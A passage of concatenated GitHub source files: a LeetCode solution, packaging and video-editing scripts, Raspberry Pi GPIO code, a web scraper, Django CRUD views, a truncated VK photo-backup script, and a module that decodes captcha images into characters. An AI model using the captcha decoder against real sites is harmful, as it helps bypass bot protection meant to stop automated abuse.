+{"seq_id":"70438782408","text":"\"\"\"\nLCP 30. 魔塔游戏\n小扣当前位于魔塔游戏第一层，共有 N 个房间，编号为 0 ~ N-1。每个房间的补血道具/怪物对于血量影响记于数组 nums，其中正数表示道具补血数值，即血量增加对应数值；负数表示怪物造成伤害值，即血量减少对应数值；0 表示房间对血量无影响。\n\n小扣初始血量为 1，且无上限。假定小扣原计划按房间编号升序访问所有房间补血/打怪，为保证血量始终为正值，小扣需对房间访问顺序进行调整，每次仅能将一个怪物房间（负数的房间）调整至访问顺序末尾。请返回小扣最少需要调整几次，才能顺利访问所有房间。若调整顺序也无法访问完全部房间，请返回 -1。\n\n示例 1：\n\n输入：nums = [100,100,100,-250,-60,-140,-50,-50,100,150]\n\n输出：1\n\n解释：初始血量为 1。至少需要将 nums[3] 调整至访问顺序末尾以满足要求。\n\n示例 2：\n\n输入：nums = [-200,-300,400,0]\n\n输出：-1\n\n解释：调整访问顺序也无法完成全部房间的访问。\n\n提示：\n\n1 <= nums.length <= 10^5\n-10^5 <= nums[i] <= 10^5\n\n来源：力扣（LeetCode）\n链接：https://leetcode-cn.com/problems/p0NxJO\n著作权归领扣网络所有。商业转载请联系官方授权，非商业转载请注明出处。\n\"\"\"\nimport heapq\nfrom typing import List\n\n\nclass Solution:\n    def magicTower(self, nums: List[int]) -> int:\n        if sum(nums) < 0:\n            return -1\n        time = 0\n        pre = 1\n        heap = []\n        for num in nums:\n            pre += num\n            if num < 0:\n                heapq.heappush(heap, num)\n            # 把最小的负数弹出，放到后面\n            if pre <= 0:\n                pre -= heapq.heappop(heap)\n                time += 1\n\n        return time\n\n\nif __name__ == '__main__':\n    nums = [100, 100, 100, -250, -60, -140, -50, -50, 100, 150]\n    print(Solution().magicTower(nums))\n","repo_name":"yiming1012/MyLeetCode","sub_path":"LeetCode/贪心算法/堆/LCP 30. 魔塔游戏.py","file_name":"LCP 30. 魔塔游戏.py","file_ext":"py","file_size_in_byte":1953,"program_lang":"python","lang":"zh","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
+{"seq_id":"10388545977","text":"import sys\r\nimport os\r\nfrom __main__ import MathPy\r\nfrom setuptools import setup, find_packages\r\n\r\nos.environ['ANACONDA3_PATH'] = \"C:\\\\ProgramData\\\\Anaconda3\\\\envs\\\\Calculator\\\\Library\\\\bin\\\\\"\r\n\r\nbase = None\r\n\r\n# GUI applications require a different base on Windows (the default is for a console application).\r\nif sys.platform == \"win32\":\r\n    base = \"Win32GUI\"\r\n\r\nelif sys.platform == \"win64\":\r\n    base = \"Win64GUI\"\r\n\r\nsetup(\r\n    packages=find_packages(),\r\n    scripts=\"__main__.py\",\r\n    icon=\"Alecive-Flatwoken-Apps-Libreoffice-Math-B.ico\",\r\n    name=MathPy.__name__,\r\n    version=MathPy.__version__,\r\n    base=base,\r\n\r\n    # Project uses reStructuredText, so ensure that the docutils get\r\n    # installed or upgraded on the target machine\r\n    include_package_data=True,\r\n    install_requires=['tkinter', 'matplotlib', 'sympy', 'numpy', 'itertools', 'random'],\r\n\r\n    # metadata to display on PyPI\r\n    author=MathPy.__author__,\r\n    author_email=\"najmi.achraf@gmail.com\",\r\n    description=\"GUI Calculator\",\r\n    license=\"MIT License\",\r\n    keywords=['gui', 'executable'],\r\n    url=\"\",  # project home page, if any\r\n    project_urls={\r\n        \"Bug Tracker\": \"https://github.com/AchrafNajmi/MathPy/issues\",\r\n        \"Documentation\": \"https://github.com/AchrafNajmi/MathPy/blob/master/Release%20Notes.txt\",\r\n        \"Source Code\": \"https://github.com/AchrafNajmi/MathPy\",\r\n    },\r\n    python_requires='>=3.7',\r\n    classifiers=[\r\n        \"License :: MIT :: AchrafNajmi/MathPy\",\r\n        \"License :: OSI Approved :: Python Software Foundation License\",\r\n        'Programming Language :: Python :: 3.7',\r\n        \"Operating System :: Microsoft :: Windows\"\r\n    ]\r\n\r\n    # could also include long_description, download_url, etc.\r\n)\r\n","repo_name":"mchliyah/MathPy","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1735,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"70923558090","text":"import os, natsort, math, sys\nfrom pathlib import Path\nfrom moviepy.editor import *\nimport mimetypes\n\n\n\n\n\ndef merger(input_path, out_file_name):\n    file_type = mimetypes.MimeTypes().guess_type(input_path)[0]\n    # if \"video\" not in file_type:\n    #     print(\"Pass the valid video file as INPUT..\")\n    #     sys.exit(1)\n    video_files = os.listdir(input_path)\n    for file in video_files:\n        file_type = mimetypes.MimeTypes().guess_type(file)[0]\n        if \"video\" not in file_type:\n            print(\"Pass the valid video file as INPUT..\")\n            sys.exit(1)\n    current_dir = Path(os.getcwd()) / input_path\n    files_sorted = natsort.natsorted(video_files)\n    print(files_sorted)\n\n    list_video = [VideoFileClip(str(current_dir / file)) for file in files_sorted]\n\n    out_path = Path(os.getcwd()) / \"merge_out\"\n    if not os.path.isdir(out_path):\n        os.mkdir(out_path)\n    out_file = out_path / out_file_name\n\n    # To find fps\n    video = VideoFileClip(str(current_dir / files_sorted[0]))\n    fps = int(video.fps)\n\n    result = concatenate_videoclips(list_video)\n    result.write_videofile(str(out_file) ,fps=fps)\n\n\ndef gen_file_name(index, file_path):\n    if len(file_path.split(\"\\\\\")) > 1:\n        file_name = str(index) + \"_\" + str(file_path.split(\"\\\\\")[-1])\n    elif len(file_path.split(\"/\")) > 1:\n        file_name = str(index) + \"_\" + str(file_path.split(\"/\")[-1])\n    else:\n        file_name = str(index) + \"_\" + str(file_path)\n    return file_name\n\n\ndef splitter(video_file, subclip_duration):\n    file_type = mimetypes.MimeTypes().guess_type(video_file)[0]\n    if \"video\" not in file_type:\n        print(\"Pass the valid video file as INPUT..\")\n        sys.exit(1)\n    video = VideoFileClip(video_file)\n    fps = video.fps\n    duration = int(video.duration)\n    print(\"\\nThe original duration of video : \" + str(duration) + \" seconds with \" + str(fps) + \" fps\")\n\n    number_of_subclips = math.ceil(duration / int(subclip_duration))\n    print(\"\\nTOTAL number of subclips : \" + str(number_of_subclips))\n\n    out_folder_path = Path(os.getcwd()) / \"split_out\"\n    if not os.path.isdir(out_folder_path):\n        os.mkdir(out_folder_path)\n\n    for file_number in range(number_of_subclips):\n        if not file_number:\n            start = (file_number * subclip_duration)\n        else:\n            start = (file_number * subclip_duration)\n        end = (file_number + 1) * subclip_duration\n        if end > duration:\n            end = duration\n        file_name = gen_file_name(file_number, video_file)\n        gen_file = out_folder_path / file_name\n        sub_video = video.subclip(start, end)\n        result = CompositeVideoClip([sub_video,])\n        result.write_videofile(str(gen_file) ,fps=int(fps))\n\n\ndef gen_video_with_audio_name(video_path, audio_path):\n    video_name = os.path.splitext(os.path.basename(video_path))[0]\n    audio_name =  os.path.splitext(os.path.basename(audio_path))[0]\n    video_ext = os.path.splitext(video_path)[1]\n    file_name = str(video_name) + \"_\" + str(audio_name) + str(video_ext)\n    return file_name\n\n\ndef add_audio_to_video(video_file, audio_file):\n    files ={\n        \"audio\": audio_file,\n        \"video\": video_file\n    }\n    for name, file in files.items():\n        file_type = mimetypes.MimeTypes().guess_type(file)[0]\n        if name not in file_type:\n            print(f\"Pass the valid {name} file as INPUT..\")\n            sys.exit(1)\n    print(\"\\nAdding audio : \" + str(audio_file) + \" to video : \" + str(video_file))\n    video = VideoFileClip(video_file)\n    add_audio = AudioFileClip(audio_file)\n    duration = int(video.duration)\n    video = video.subclip(0,duration)\n    video.audio = add_audio\n    out_path = Path(os.getcwd()) / \"video_out\"\n    if not os.path.isdir(out_path):\n        os.mkdir(out_path)\n    file_name = gen_video_with_audio_name(video_file, audio_file)\n    out_file = out_path / file_name\n    video.write_videofile(str(out_file))","repo_name":"AskarKani/video_editor","sub_path":"library/video_editor.py","file_name":"video_editor.py","file_ext":"py","file_size_in_byte":3924,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"40116370998","text":"import RPi.GPIO as GPIO\nimport time\n\nfrom .AbstractHandler import AbstractHandler\n\nclass RPiHandler(AbstractHandler):\n\n    def __init__(self):\n\n        self.__LED1PORT = 4\n        self.__LED2PORT = 17\n        self.__EXTCTRLPORT = 22\n\n        self.__DISTANCE_TRIGGER = 18\n        self.__DISTANCE_ECHO = 24\n\n        self.__initGPIO()\n\n    def cleanup(self):\n        # Restore port values\n        self.setLED1(0)\n        self.setLED2(0)\n        self.setEXTCTRL(0)\n        GPIO.output(self.__DISTANCE_TRIGGER, 0)\n\n        # cleanup port\n        GPIO.cleanup()\n\n    def setLED1(self, numState):\n        self.__setOUTPUTPort(self.__LED1PORT, numState)\n\n    def setLED2(self, numState):\n        self.__setOUTPUTPort(self.__LED2PORT, numState)\n\n    def setEXTCTRL(self, numState):\n        self.__setOUTPUTPort(self.__EXTCTRLPORT, numState)\n\n    def getDistanceData(self):\n        dist = self.__computeDistance()\n        return dist\n\n    def getTemperatureData(self):\n        # This sensor has not been connected\n\n        return None\n\n    \n\n    # Private methods\n    def __initGPIO(self):\n        GPIO.setmode(GPIO.BCM)  \n\n        ## LEDs\n        GPIO.setup(self.__LED1PORT, GPIO.OUT)\n        GPIO.setup(self.__LED2PORT, GPIO.OUT)\n        GPIO.setup(self.__EXTCTRLPORT, GPIO.OUT)\n\n        #set GPIO direction (IN / OUT)\n        GPIO.setup(self.__DISTANCE_TRIGGER, GPIO.OUT)\n        GPIO.setup(self.__DISTANCE_ECHO, GPIO.IN)\n\n\n    def __setOUTPUTPort(self, portIndex, numState):\n        GPIO.output(portIndex, numState)\n\n    def __computeDistance(self):\n        # set Trigger to HIGH\n        GPIO.output(self.__DISTANCE_TRIGGER, True)\n    \n        # set Trigger after 0.01ms to LOW\n        time.sleep(0.00001)\n        GPIO.output(self.__DISTANCE_TRIGGER, False)\n    \n        StartTime = time.time()\n        StopTime = time.time()\n    \n        # save StartTime\n        while GPIO.input(self.__DISTANCE_ECHO) == 0:\n            StartTime = time.time()\n    \n        # save time of arrival\n        while GPIO.input(self.__DISTANCE_ECHO) == 1:\n            StopTime = time.time()\n    \n        # time difference between start and arrival\n        TimeElapsed = StopTime - StartTime\n        # multiply with the sonic speed (34300 cm/s)\n        # and divide by 2, because there and back\n        distance = (TimeElapsed * 34300) / 2\n    \n        return distance\n\n        \n","repo_name":"nongnoochr/fullstack-rpi-app","sub_path":"rpi/handler/RPiHandler.py","file_name":"RPiHandler.py","file_ext":"py","file_size_in_byte":2350,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"12549474176","text":"from bs4 import BeautifulSoup\nimport requests\nimport sys,getopt\nimport datetime\n\nJUMIA_SNEAKERS_MEN_URL = 'https://www.jumia.dz/baskets-de-ville/?page={0}'\n\nall_sneaker = []\n\ndef is_last_page(page):\n    next_page_btn = page.select_one(\n        '#jm > main > div.row.-pbm > div.-pvs.col12 > section > div.pg-w.-pvxl > a:nth-child(6)')\n    return next_page_btn.get('href')\n\n\ndef scrap_page(page):\n    print('scraping page ',page,' .....')\n    url = JUMIA_SNEAKERS_MEN_URL.format(page)\n    page = requests.get(url)\n    soup = BeautifulSoup(page.content, 'html.parser')\n    articles = soup.find_all('article', class_='prd')\n    for article in articles:\n        price = article.select_one('div.prc')\n        discount = article.select_one('div._dsct')\n        link = article.select_one('a.core')\n        name = article.select_one('div.info > h3')\n        #print( article,'::: ')\n        if name.text and price.text and link.text:\n            sneaker = {\n                'name':name.text if name else 'nothing',\n                'price':price.text if price else 0,\n                'discount':int(discount.text.split('%')[0]) if discount else 0,\n                'link':'https://www.jumia.dz'+link.get('href') if link else 'none'\n            }\n            all_sneaker.append(sneaker)\n\n    return is_last_page(soup)\n\n\n\n\npage = 1\nwhile(True):\n    is_next = scrap_page(page)\n    page = page + 1\n    if not is_next:\n        break\n\nall_sneaker.sort( key=lambda x : x['discount'],reverse=True)\nprint('found ',len(all_sneaker),' articles ')\n\nfile_name = 'sneakers_'+str(datetime.datetime.now())+'.txt'\n\n\n#get script options\nn=10\ngender = 'both'\nbrand = 'all'\ntry:\n    opts,args = getopt.getopt(sys.argv[1:],\"n:f:b:\")\nexcept getopt.GetoptError:\n    print('sneaker.py -n <int:number of sneaker> -f <string: m for men or w for women> -b <string:brand like adidas,reebok..>')\nfor opt,arg in opts:\n    if opt == '-n':\n        n = int(arg) \n    if opt == '-f':\n        gender = arg\n    if opt == '-b':\n        brand = arg\n#filter by gneder\nif gender != 'both':\n    if gender == 'm':\n        all_sneaker = list(filter(lambda item: not 'Femme' in item['name'].split(' '),all_sneaker))\n\n    elif gender == 'w':\n        all_sneaker = list(filter(lambda item: not 'Homme' in item['name'].split(' '),all_sneaker))\n#clear Pepe jeans sneakers\nall_sneaker = list(filter(lambda item: not 'Pepe Jeans' in item['name'],all_sneaker))\n#filter by brand\n\nif brand != 'all':\n    all_sneaker = list(filter(lambda item: brand.lower() in item['name'].lower(),all_sneaker))\n    \nfor i in range (0,n):\n    f = open(file_name,'a')\n    f.write(all_sneaker[i]['name']+', '+all_sneaker[i]['price']+', '+str(all_sneaker[i]['discount'])+'%, '+all_sneaker[i]['link']+'\\n')\n","repo_name":"sidisaidkarim/jumia-sneakers-scraping","sub_path":"sneakers.py","file_name":"sneakers.py","file_ext":"py","file_size_in_byte":2721,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"35020017867","text":"# -*- coding: utf-8 -*-\r\n\r\n\"\"\"\r\n    crack.py\r\n    ~~~~~~~~\r\n\r\n    This module takes captcha images as input and partitions them into\r\n    n new images, 1 image per character found within the captcha.\r\n\r\n    Original Code (http://tinyurl.com/puq6alb) by bboyte01@gmail.com\r\n    https://web.archive.org/web/20121012023114/http://www.wausita.com/captcha/\r\n    http://www.wausita.com/captcha/\r\n\r\n    :copyright: (c) 2012 by Mek\r\n    :license: see LICENSE for more details.\r\n\"\"\"\r\n\r\nimport os\r\nimport string\r\nfrom operator import itemgetter\r\nfrom math import sqrt\r\nfrom PIL import Image, ImageChops\r\nfrom io import BytesIO\r\n\r\ntry:\r\n    from urllib.request import urlopen\r\nexcept ImportError:\r\n    from urllib import urlopen\r\n\r\nSYMBOLS = list(string.ascii_lowercase + string.digits)\r\nICONS_PATH = os.path.abspath(\r\n    os.path.join(os.path.dirname(__file__), 'iconset'))\r\nIMAGESET = []\r\nWHITE = 255\r\n\r\n\r\ndef imageset():\r\n    \"\"\"Loads icons of various characters\"\"\"\r\n    imageset = []\r\n    for symbol in SYMBOLS:\r\n        for imfile in os.listdir(os.path.join(ICONS_PATH, symbol)):\r\n            path = os.path.join(ICONS_PATH, symbol, imfile)\r\n            imageset.append({symbol: Image.open(path)})\r\n    return imageset\r\n\r\n\r\ndef trim(im, color=WHITE):\r\n    \"\"\"Tims image to remove excess color (default: whitespace)\"\"\"\r\n    bg = Image.new(im.mode, im.size, WHITE)\r\n    diff = ImageChops.difference(im, bg)\r\n    diff = ImageChops.add(diff, diff, 2.0, -100)\r\n    return im.crop(diff.getbbox())\r\n\r\n\r\ndef channel(im, *colors, **kwargs):\r\n    \"\"\"Composes an new image with the same dimensions as `im` but\r\n    draws only pixels of the specified color channels on a `bg`\r\n    colored background.\r\n    \"\"\"\r\n    bg = kwargs.get('bg', WHITE)\r\n    sample = Image.new('P', im.size, bg)\r\n    width, height = im.size\r\n    for col in range(width):\r\n        for row in range(height):\r\n            pixel = im.getpixel((col, row))\r\n            if pixel in colors:\r\n                sample.putpixel((col, row), pixel)\r\n    return sample\r\n\r\n\r\ndef monochrome(im, threshold=255):\r\n    \"\"\"Converts all colors in gif image which are less than threshold\r\n    to black\"\"\"\r\n    return im.point(lambda x: 0 if x < 255 else 255, '1')\r\n\r\n\r\ndef regions(im, threshold=1):\r\n    \"\"\"Iterates over the columns of an image from left-to-right and\r\n    composes an ordered list of (start, end) column ranges referring\r\n    to discrete, contiguous columns which contain at least `threshold`\r\n    non-white pixel.\r\n    \"\"\"\r\n    regions = []\r\n    start = None\r\n    width, height = im.size\r\n    for col in range(width):\r\n        # if column contains at least one pixel\r\n        if sum([im.getpixel((col, row)) is not WHITE\r\n                for row in range(height)]) >= threshold:\r\n            start = start if start else col\r\n        elif start:\r\n            regions.append((start, col))\r\n            start = None  # reset start\r\n    return regions\r\n\r\n\r\ndef similarity(im1, im2, equalize=False):\r\n    \"\"\"Takes in two images, vectorizes them into concordance\r\n    dictionaries and spits out a number from 0 to 1 indicating how\r\n    related they are. 0 means no relation and 1 indicates they are the\r\n    same.\r\n\r\n    params:\r\n        stretch - stretch im2 to be the same dimensions as 1\r\n    \"\"\"\r\n    def scale(im1, im2):\r\n        \"\"\"Scales the image with the greater height to match the one\r\n        with the smaller height\r\n        \"\"\"\r\n        if im1.size[1] > im2.size[1]:\r\n            return im1.resize(im2.size, Image.ANTIALIAS), im2\r\n        elif im1.size[1] < im2.size[1]:\r\n            return im1, im2.resize(im1.size, Image.ANTIALIAS)\r\n        return im1, im2\r\n\r\n    def vectorize(im):\r\n        \"\"\"im.getdata returns the contents of an image as a flattened\r\n        sequence object containing pixel values.\r\n        \"\"\"\r\n        d1 = {}\r\n        for count, i in enumerate(im.getdata()):\r\n            d1[count] = i\r\n        return d1\r\n\r\n    def magnitude(concordance):\r\n        return sqrt(sum(count ** 2 for word, count in concordance.items()))\r\n\r\n    c1, c2 = [vectorize(im) for im in\r\n              (scale(im1, im2) if equalize else (im1, im2))]\r\n    topvalue = 0\r\n    for word, count in c1.items():\r\n        if word in c2:\r\n            topvalue += count * c2[word]\r\n    return topvalue / (magnitude(c1) * magnitude(c2))\r\n\r\n\r\nclass Captcha(object):\r\n\r\n    def __init__(self, imgpath):\r\n        self.imgpath = imgpath\r\n\r\n    @property\r\n    def im(self):\r\n        \"\"\"Fetches captcha's image from disk or url\"\"\"\r\n        try:\r\n            im = Image.open(self.imgpath)\r\n        except:\r\n            im = Image.open(BytesIO(urlopen(self.imgpath).read()))\r\n        return self.gif(im)\r\n\r\n    @property\r\n    def histogram(self):\r\n        with self.im as im:\r\n            return im.histogram()\r\n\r\n    def decode(self, channels=3, limit=3, threshold=0, tolerance=3,\r\n               _min=0, _max=245):\r\n        \"\"\"Attempts to decode a captcha by:\r\n\r\n        - Finding the `n` most prominant colors in the image\r\n        - Sampling the captcha into `n` images, each discretely composed\r\n          of a differnet prominant colors.\r\n        - Segmenting each sample into regions of contiguous columns\r\n          containing any pixels pixelation (which are hopefully\r\n          equates to individual alphanumeric characters), and finally\r\n        - Guessing which character appears in each segment\r\n\r\n        XXX Prettier output and organizing of results required\r\n        \"\"\"\r\n        colors = [color for color, _ in self\r\n                  .prominant_colors(n=channels, _min=_min, _max=_max)]\r\n        sample = monochrome(self.channel(*colors))\r\n        return [self.guess_character(segment, limit=limit, threshold=threshold)\r\n                for segment in self.segments(sample, tolerance=tolerance)]\r\n\r\n    def prominant_colors(self, n=5, _min=0, _max=256):\r\n        \"\"\"Calculates the n most prominant colors of an image as an\r\n        ordered list of (color, frequency) tuples.\r\n\r\n        params:\r\n            n - limit the number of colors to `n`\r\n            _min - exclude any colors below this number (filter\r\n                   out dark colors, like black/0)\r\n            _max - exclude any colors above this number (filter out\r\n                   light colors, like white/256)\r\n\r\n        XXX consider sorted(im.getcolors(n), reverse=True)\r\n        \"\"\"\r\n        hist = self.histogram[_min:_max]\r\n        return sorted([(c, f) for c, f in enumerate(hist)],\r\n                      key=itemgetter(1), reverse=True)[:n]\r\n\r\n    def channel(self, *colors, **kwargs):\r\n        \"\"\"Composes an image with the same dimensions as `im` but\r\n        draws only pixels of the specified colors on a `bg` colored\r\n        background.\r\n        \"\"\"\r\n        with self.im as im:\r\n            return channel(im, *colors, **kwargs)\r\n\r\n    @staticmethod\r\n    def gif(im):\r\n        \"\"\"Converts captcha to a GIF (makes things easier since it has\r\n        255 colors) and finds the most prominent colors in the image\r\n        \"\"\"\r\n        return im if im.mode is 'P' else im.convert('P')\r\n\r\n    @classmethod\r\n    def segments(cls, im, tolerance=3, crop=True):\r\n        \"\"\"Discover \"\"\"\r\n        return [cls.segment(im, region, crop=crop) for\r\n                region in regions(im, threshold=tolerance)]\r\n\r\n    @classmethod\r\n    def segment(cls, im, region, crop=True):\r\n        \"\"\"Returns a cropped image segment (hopefully of an\r\n        alphanumeric character) within the range of the region\r\n        \"\"\"\r\n        start, end = 0, 1\r\n        segment = im.crop((region[start], 0, region[end], im.size[1]))\r\n        return trim(segment) if crop else segment\r\n\r\n    @staticmethod\r\n    def guess_character(im, threshold=0, limit=None):\r\n        \"\"\"Guess alphanumeric character in image using Basic Vector\r\n        Space Search algorithm.\r\n\r\n        http://la2600.org/talks/files/20040102/Vector_Space_Search_Engine_Theory.pdf\r\n        \"\"\"\r\n        global IMAGESET  # lazy-ish style iconset loading\r\n        if not IMAGESET:\r\n            IMAGESET = imageset()\r\n\r\n        guesses = []\r\n        for icon in IMAGESET:\r\n            for symbol, im2 in icon.items():\r\n                guess = similarity(im, im2, equalize=True)\r\n                if guess >= threshold:\r\n                    guesses.append((guess, symbol))\r\n        return sorted(guesses, reverse=True)[:limit]\r\n\r\n\r\ndef decode(captcha, channels=1, limit=3, threshold=0, tolerance=3,\r\n           _min=0, _max=256):\r\n    \"\"\"Backward compatible method for decoding a captcha\"\"\"\r\n    return Captcha(captcha).decode(\r\n        channels=channels,\r\n        limit=limit,\r\n        threshold=threshold,\r\n        tolerance=tolerance,\r\n        _min=_min, _max=_max)\r\n","repo_name":"mekarpeles/captcha-decoder","sub_path":"decaptcha/decoder.py","file_name":"decoder.py","file_ext":"py","file_size_in_byte":8639,"program_lang":"python","lang":"en","doc_type":"code","stars":155,"dataset":"github-code","pt":"16"}
+{"seq_id":"71309215367","text":"# -*- coding: utf-8 -*-\nfrom itertools import permutations\n\nfrom django.shortcuts import render, redirect\nfrom SGMGU.models import *\nfrom SGMGU.forms import *\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib import messages\nfrom .utiles import *\nfrom django.http import HttpResponse, Http404\nfrom django.db.models import Q\nfrom django.db import models\nimport time\n\nfrom django.shortcuts import render, get_object_or_404\nfrom django.http import JsonResponse\nfrom django.template.loader import render_to_string\n\n\ndef devolver_listado_annos(anno):\n    annos = {'anno1': anno + 1, 'anno2': anno + 2, 'anno3': anno + 3, 'anno4': anno + 4, 'anno5': anno + 5,\n             'anno6': anno + 6, 'anno7': anno + 7, 'anno8': anno + 8, 'anno9': anno + 9, 'anno10': anno + 10}\n    return annos\n\n\n@login_required\n@permission_required(['administrador', 'especialista', 'organismo'])\ndef buscar_demanda(request):\n    if request.method == \"POST\":\n        texto = request.POST['texto_demanda'].lower()\n\n        demandas = DemandaGraduados.objects.filter(entidad__e_nombre__contains=texto)\n    else:\n        demandas = []\n    demandas = paginar(request, demandas)\n    context = {'demandas': demandas, 'paginas': crear_lista_pages(demandas), 'busqueda': True,\n               'texto': request.POST['texto_demanda']}\n    return render(request, \"Demandas/gestion_demanda.html\", context)\n\n\n@login_required\n@permission_required(['administrador', 'especialista', 'organismo'])\ndef gestion_demanda(request):\n    anno = int(time.strftime(\"%Y\"))\n    annos = devolver_listado_annos(anno)\n\n    perfil = Perfil_usuario.objects.get(usuario=request.user)\n\n    if perfil.categoria.nombre == \"organismo\":\n        demandas = DemandaGraduados.objects.filter(organismo=perfil.organismo)\n    else:\n        demandas = DemandaGraduados.objects.all()\n\n    demandas = paginar(request, demandas)\n    context = {'demandas': demandas, 'paginas': crear_lista_pages(demandas), 'anno': anno, 'annos': annos}\n    return render(request, \"Demandas/gestion_demanda.html\", context)\n\n\n# ---------------------------------------------------------------------\n\n\n\n# ---------------------------------------------------------------------\n\n\n# registrar demanda\n@login_required\n@permission_required(['administrador', 'especialista', 'organismo'])\ndef registrar_demanda(request):\n    perfil = Perfil_usuario.objects.get(usuario=request.user)\n\n    if perfil.categoria.nombre == \"organismo\":\n        lista_organismos_por_usuario = Organismo.objects.filter(id=perfil.organismo_id)\n        lista_entidades_por_usuario = Entidad.objects.filter(id_organismo_s=perfil.organismo_id)\n    else:\n        lista_organismos_por_usuario = Organismo.objects.all()\n        lista_entidades_por_usuario = Entidad.objects.all()\n\n    if request.method == 'POST':\n        form = DemandaForm(request.POST)\n        if form.is_valid():\n            form.save()\n            messages.add_message(request, messages.SUCCESS, \"La demanda se ha registrado con éxito.\")\n            return redirect('/demandas')\n    else:\n        # --------------------------------\n\n        form = DemandaForm()\n    context = {'form': form, 'lista_organismos_por_usuario': lista_organismos_por_usuario,\n               'lista_entidades_por_usuario': lista_entidades_por_usuario, 'nombre_accion': 'Registrar'}\n    return render(request, \"demandas/form_demanda.html\", context)\n\n\n# 'lista_entidades_por_usuario': lista_entidades_por_usuario,\n\n# para modificar una demanda:\n\n@login_required\n@permission_required(['administrador', 'especialista', 'organismo'])\ndef modificar_demanda(request, identificador):\n\n    perfil = Perfil_usuario.objects.get(usuario=request.user)\n\n    if perfil.categoria.nombre == \"organismo\":\n        lista_organismos_por_usuario = Organismo.objects.filter(id=perfil.organismo_id)\n        lista_entidades_por_usuario = Entidad.objects.filter(id_organismo_s=perfil.organismo_id)\n    else:\n        lista_organismos_por_usuario = Organismo.objects.all()\n        lista_entidades_por_usuario = Entidad.objects.all()\n\n    demanda = DemandaGraduados.objects.get(codigo_demanda=identificador)\n    if request.method == 'POST':\n        form = DemandaForm(request.POST, instance=demanda)\n        if form.is_valid():\n            form.save()\n            messages.add_message(request, messages.SUCCESS, \"La demanda se ha modificado con éxito.\")\n            return redirect('/demandas')\n    else:\n        form = DemandaForm(instance=demanda)\n    # Creamos el contexto\n    context = {'form': form, 'nombre_accion': 'Modificar','lista_organismos_por_usuario':lista_organismos_por_usuario,'lista_entidades_por_usuario':lista_entidades_por_usuario}\n    # Y mostramos los datos\n    return render(request, \"demandas/form_demanda.html\", context)\n\n\n# -----------pruebas con AJAX------------------------------------------------------------------------\n@login_required\n@permission_required(['administrador', 'especialista', 'organismo'])\ndef demanda_create(request):\n    data = dict()\n\n    if request.method == 'POST':\n        form = DemandaForm(request.POST)\n        if form.is_valid():\n            form.save()\n            data['form_is_valid'] = True\n        else:\n            data['form_is_valid'] = False\n    else:\n        form = DemandaForm()\n\n    context = {'form': form}\n    data['html_form'] = render_to_string('Demandas/form_demanda_modal.html', context, request=request)\n\n    return JsonResponse(data)\n\n\n# primera version del create demanda\n# @login_required\n# @permission_required(['administrador','especialista','organismo'])\n# def demanda_create(request):\n#     form = DemandaForm()\n#     context = {'form':form}\n#     html_form = render_to_string('Demandas/form_demanda_modal.html',context,request=request)\n#     return JsonResponse({'html_form':html_form})\n\n\n\n\n\n\n\n\n# -----------------------------------------------------------------------------------\n# eliminar una entidad\n\n@login_required\n@permission_required(['administrador', 'especialista', 'organismo'])\ndef eliminar_demanda(request, identificador):\n    demanda = DemandaGraduados.objects.get(codigo_demanda=identificador)\n    #    demanda.estado = False\n    demanda.delete()\n    messages.add_message(request, messages.SUCCESS, \"La demanda ha sido eliminada con éxito.\")\n    return redirect('/demandas')\n","repo_name":"marioriguera/egresadosmario","sub_path":"SGMGU/views/views_demanda.py","file_name":"views_demanda.py","file_ext":"py","file_size_in_byte":6285,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"12151816855","text":"import requests\nimport time\nimport json\nimport os\nimport configparser\n\nclass VK_get_data:\n    \"\"\"\n    Класс предназначен для работы с API VK\n    \"\"\"\n    # считываем токен из файла\n    config = configparser.ConfigParser()  # создаём объекта парсера\n    config.read(\"/Users/denistimakov/PycharmProjects/TestingYaUpload/settings.ini\")  # читаем конфиг\n    config['DEFAULT']['vk_token']\n    vk_token = config['DEFAULT']['vk_token']\n\n    def search_user(self):\n        \"\"\"\n        Метод поиска пользователя ВК по названию страницы либо по идентификатору\n        Возвращает идентификатор пользователя\n        \"\"\"\n        choise = input(\n            'Для поиска по названию страницы введите 1, для поиска по идентификатору в��едите 2: ')\n\n        if choise == '1':\n\n            URL = 'https://api.vk.com/method/utils.resolveScreenName'\n            screen_name = input('Введите название страницы: ')\n\n            params = {\n                'screen_name': screen_name,\n                'access_token': self.vk_token,\n                'extended': 1,\n                'v': '5.131'\n            }\n\n            res = requests.get(URL, params=params)\n            res_dict = res.json()\n            user_id = res_dict['response']['object_id']\n\n        elif choise == '2':\n            user_id = input('Введите идентификатор пользователя: ')\n\n        else:\n            print('Введена не корректная команда')\n\n        return user_id\n\n    def vk_get_data(self):\n        \"\"\"\n        Метод обращается по API VK и возвращает данные о пользователе\n        \"\"\"\n        URL = 'https://api.vk.com/method/photos.get'\n        user_id = self.search_user()\n        params = {\n            'owner_id': user_id,\n            'album_id': 'profile',\n            'access_token': self.vk_token,\n            'extended': 1,\n            'v': '5.131'\n        }\n\n        # Получаем данные из ВК\n        vk_user_data = requests.get(URL, params=params)\n        vk_data_dict = vk_user_data.json()\n\n        return vk_data_dict\n\nclass Photo_backup:\n\n    def __init__(self, photos_amount=5):\n        # количество выгружаемых фотографий photos_amount по умолчанию 5\n        self.photos_amount = photos_amount\n\n    def get_photos(self):\n        \"\"\"\n        Метод возвращает словарь {<количество лайков>:[<URL фотографии>, <размер фото>]}\n        \"\"\"\n\n        # Создаю пустой словарь который будет наполнен лайками и ссылками на фото из ВК\n        likes_photos = {}\n\n        # Получаем данные из ВК\n        get_vk_data = VK_get_data()\n        get_data = get_vk_data.vk_get_data()\n        res_list = get_data['response']['items']\n        self.photos_amount = int(input(\"Введите количество фотографий для сохранения: \"))\n\n        # Наполняем словарь нужными данными из res_list\n        for elem in res_list:\n            like = elem['likes']['count'] + elem['likes']['user_likes']\n            if len(likes_photos) < self.photos_amount:\n                if like in 